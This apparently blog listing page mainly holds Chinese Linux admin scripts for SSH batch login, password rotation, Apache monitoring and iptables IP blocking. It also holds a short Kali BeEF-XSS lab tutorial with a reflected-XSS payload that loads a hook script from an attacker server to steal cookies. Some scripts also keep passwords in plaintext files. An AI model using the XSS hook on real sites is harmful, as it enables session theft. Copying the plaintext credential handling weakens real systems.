"Usage: expect login.exp ip user passwd" exit 1 } set timeout 30 spawn ssh $user@$ip expect {     "(yes/no)" {send "yes\r"; exp_continue}     "password:" {send "$passwd\r"} } expect "$user@*"  {send "$cmd\r"} expect "$user@*"  {send "exit\r"} expect eof 执行命令脚本:写个循环可以批量操作多台服务器 #!/bin/bash HOST_INFO=user_info.txt for ip in $(awk '{print $1}' $HOST_INFO) do     user=$(awk -v I="$ip" 'I==$1{print $2}' $HOST_INFO)     pass=$(awk -v I="$ip" 'I==$1{print $3}' $HOST_INFO)     expect login.exp $ip $user $pass $1 done Linux主机SSH连接信息: # cat user_info.txt 192.168.1.120 root 123456 创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字,最后需要把每个用户的密码存在指定文件中 #!/bin/bash ############################################################## #创建10个用户,并分别设置密码,密码要求10位且包含大小写字母以及数字 #最后需要把每个用户的密码存在指定文件中 #前提条件:安装mkpasswd命令 ############################################################## #生成10个用户的序列(00-09) for u in `seq -w 0 09` do  #创建用户  useradd user_$u  #生成密码  p=`mkpasswd -s 0 -l 10`  #从标准输入中读取密码进行修改(不安全)  echo $p|passwd --stdin user_$u  #常规修改密码  echo -e "$p\n$p"|passwd user_$u  #将创建的用户及对应的密码记录到日志文件中  echo "user_$u $p" >> /tmp/userpassword done 监控httpd的进程数,根据监控情况做相应处理 #!/bin/bash ############################################################################################################################### #需求: #1.每隔10s监控httpd的进程数,若进程数大于等于500,则自动重启Apache服务,并检测服务是否重启成功 #2.若未成功则需要再次启动,若重启5次依旧没有成功,则向管理员发送告警邮件,并退出检测 #3.如果启动成功,则等待1分钟后再次检测httpd进程数,若进程数正常,则恢复正常检测(10s一次),否则放弃重启并向管理员发送告警邮件,并退出检测 ############################################################################################################################### #计数器函数 check_service() {  j=0  for i in `seq 1 5`   do  #重启Apache的命令  /usr/local/apache2/bin/apachectl restart 2> /var/log/httpderr.log     #判断服务是否重启成功  if [ $? -eq 0 ]  then  break  else  j=$[$j+1]  fi     #判断服务是否已尝试重启5次  if [ $j -eq 5 ]  then  mail.py  exit  fi  done  } while : do  n=`pgrep -l httpd|wc -l`  #判断httpd服务进程数是否超过500  if [ $n -gt 500 ]  then  /usr/local/apache2/bin/apachectl restart  if [ $? -ne 0 ]  then  check_service  else  sleep 60  n2=`pgrep -l httpd|wc -l`  #判断重启后是否依旧超过500              if [ $n2 -gt 500 ]  then   mail.py  exit  fi  fi  fi  #每隔10s检测一次  sleep 10 done 批量修改服务器用户密码 Linux主机SSH连接信息:旧密码 # cat old_pass.txt  192.168.18.217  root    123456     22 192.168.18.218  root    123456     22 内容格式:IP User Password Port SSH远程修改密码脚本:新密码随机生成 https://www.linuxprobe.com/books #!/bin/bash OLD_INFO=old_pass.txt NEW_INFO=new_pass.txt for IP in $(awk '/^[^#]/{print $1}' $OLD_INFO); do     USER=$(awk -v I=$IP 'I==$1{print $2}' $OLD_INFO)     PASS=$(awk -v I=$IP 'I==$1{print $3}' $OLD_INFO)     PORT=$(awk -v I=$IP 'I==$1{print $4}' $OLD_INFO)     NEW_PASS=$(mkpasswd -l 8)  # 随机密码     echo "$IP   $USER   $NEW_PASS   $PORT" >> $NEW_INFO     expect -c "     spawn ssh -p$PORT $USER@$IP     set timeout 2     expect {         \"(yes/no)\" {send \"yes\r\";exp_continue}         \"password:\" {send \"$PASS\r\";exp_continue}         \"$USER@*\" {send \"echo \'$NEW_PASS\' |passwd --stdin $USER\r exit\r\";exp_continue}     }" done 生成新密码文件: # cat new_pass.txt  192.168.18.217  root    n8wX3mU%      22 192.168.18.218  root    c87;ZnnL      22 iptables自动屏蔽访问网站频繁的IP 场景:恶意访问,安全防范 1)屏蔽每分钟访问超过200的IP 方法1:根据访问日志(Nginx为例) #!/bin/bash DATE=$(date +%d/%b/%Y:%H:%M) ABNORMAL_IP=$(tail -n5000 access.log |grep $DATE |awk '{a[$1]++}END{for(i in a)if(a[i]>100)print i}') #先tail防止文件过大,读取慢,数字可调整每分钟最大的访问量。awk不能直接过滤日志,因为包含特殊字符。 for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 方法2:通过TCP建立的连接 #!/bin/bash ABNORMAL_IP=$(netstat -an |awk '$4~/:80$/ && $6~/ESTABLISHED/{gsub(/:[0-9]+/,"",$5);{a[$5]++}}END{for(i in a)if(a[i]>100)print i}') #gsub是将第五列(客户端IP)的冒号和端口去掉 for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 2)屏蔽每分钟SSH尝试登录超过10次的IP 方法1:通过lastb获取登录状态: #!/bin/bash DATE=$(date +"%a %b %e %H:%M") #星期月天时分  %e单数字时显示7,而%d显示07 ABNORMAL_IP=$(lastb |grep "$DATE" |awk '{a[$3]++}END{for(i in a)if(a[i]>10)print i}') for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -I INPUT -s $IP -j DROP     fi done 方法2:通过日志获取登录状态 #!/bin/bash DATE=$(date +"%b %d %H") ABNORMAL_IP="$(tail -n10000 /var/log/auth.log |grep "$DATE" |awk '/Failed/{a[$(NF-3)]++}END{for(i in a)if(a[i]>5)print i}')" for IP in $ABNORMAL_IP; do     if [ $(iptables -vnL |grep -c "$IP") -eq 0 ]; then         iptables -A INPUT -s $IP -j DROP         echo "$(date +"%F %T") - iptables -A INPUT -s $IP -j DROP" >>~/ssh-login-limit.log     fi done 根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁 #!/bin/bash #################################################################################### #根据web访问日志,封禁请求量异常的IP,如IP在半小时后恢复正常,则解除封禁 #################################################################################### logfile=/data/log/access.log #显示一分钟前的小时和分钟 d1=`date -d "-1 minute" +%H%M` d2=`date +%M` ipt=/sbin/iptables ips=/tmp/ips.txt block() {  #将一分钟前的日志全部过滤出来并提取IP以及统计访问次数  grep '$d1:' $logfile|awk '{print $1}'|sort -n|uniq -c|sort -n > $ips  #利用for循环将次数超过100的IP依次遍历出来并予以封禁  for i in `awk '$1>100 {print $2}' $ips`  do  $ipt -I INPUT -p tcp --dport 80 -s $i -j REJECT  echo "`date +%F-%T` $i" >> /tmp/badip.log  done } unblock() {  #将封禁后所产生的pkts数量小于10的IP依次遍历予以解封  for a in `$ipt -nvL INPUT --line-numbers |grep '0.0.0.0/0'|awk '$2<10 {print $1}'|sort -nr`  do   $ipt -D INPUT $a  done  $ipt -Z } #当时间在00分以及30分时执行解封函数 if [ $d2 -eq "00" ] || [ $d2 -eq "30" ]  then  #要先解再封,因为刚刚封禁时产生的pkts数量很少  unblock  block  else  block fi 判断用户输入的是否为IP地址 方法1: #!/bin/bash function check_ip(){     IP=$1     VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}')     if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$">/dev/null; then         if [ $VALID_CHECK == "yes" ]; then             echo "$IP available."         else             echo "$IP not available!"         fi     else         echo "Format error!"     fi } check_ip 192.168.1.1 check_ip 256.1.1.1 方法2: #!/bin/bash function check_ip(){     IP=$1     if [[ $IP =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then         FIELD1=$(echo $IP|cut -d. -f1)         FIELD2=$(echo $IP|cut -d. -f2)         FIELD3=$(echo $IP|cut -d. -f3)         FIELD4=$(echo $IP|cut -d. -f4)         if [ $FIELD1 -le 255 -a $FIELD2 -le 255 -a $FIELD3 -le 255 -a $FIELD4 -le 255 ]; then             echo "$IP available."         else             echo "$IP not available!"         fi     else         echo "Format error!"     fi } check_ip 192.168.1.1 check_ip 256.1.1.1 增加版: 加个死循环,如果IP可用就退出,不可用提示继续输入,并使用awk判断。 #!/bin/bash function check_ip(){     local IP=$1     VALID_CHECK=$(echo $IP|awk -F. '$1< =255&&$2<=255&&$3<=255&&$4<=255{print "yes"}')     if echo $IP|grep -E "^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$" >/dev/null; then         if [ $VALID_CHECK == "yes" ]; then             return 0         else             echo "$IP not available!"             return 1         fi     else         echo "Format error! Please input again."         return 1     fi } while true; do     read -p "Please enter IP: " IP     check_ip $IP     [ $? -eq 0 ] && break || continue done 一如既往的学习,一如既往的整理,一如即往的分享。感谢支持 ...

    2021-04-17 585
  • 2021Kali系列 -- XSS漏洞(Beef-xss)

    简介:BeEF-XSS是一款非常强大的web框架攻击平台,集成了许多payload,可以实现许多功能! 一、安装beef-xss 输入beef-xss,提示安装,输入y 二、启动beef-xss 三、访问登陆页面: http://192.168.139.133:3000/ui/panel 四、让目标主机访问存在生成的钩子代码 http://192.168.139.129:81/dvwa/vulnerabilities/xss_r/?name=<script src="http://192.168.139.133:3000/hook.js"></script> 五、获取控制权限 绿色模块:表示模块适用当前用户,并且执行结果对用户不可见 红色模块:表示模块不适用当前用户,有些红色模块也可以执行 橙色模块:模块可用,但结果对用户可见 灰色模块:模块为在目标浏览器上测试过 1、获取cookies 2、获取网页源码 3、让目标主机弹出提示信息 禁止非法,后果自负 ...

    2021-04-16 797
  • 如何无需插件给emlog文章插入视频

    emlog自带的富文本编辑框是没有插入视频功能的,只有一个插入flash,在一些视频网站可能会有生成flash代码,直接插入链接就行了,但是怎么插入MP4呢?下面给大家带来教程。 一:文章编辑,点击倒数第二个按钮,html代码。 二:复制下面的代码,在合适的位置添加,样式自己看着调吧,然后再点击上面的按钮切回富文本编辑页面,就能看到效果了。 <video src="视频地址" controls="controls" width="100%"></video>...

    2021-04-06 540

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注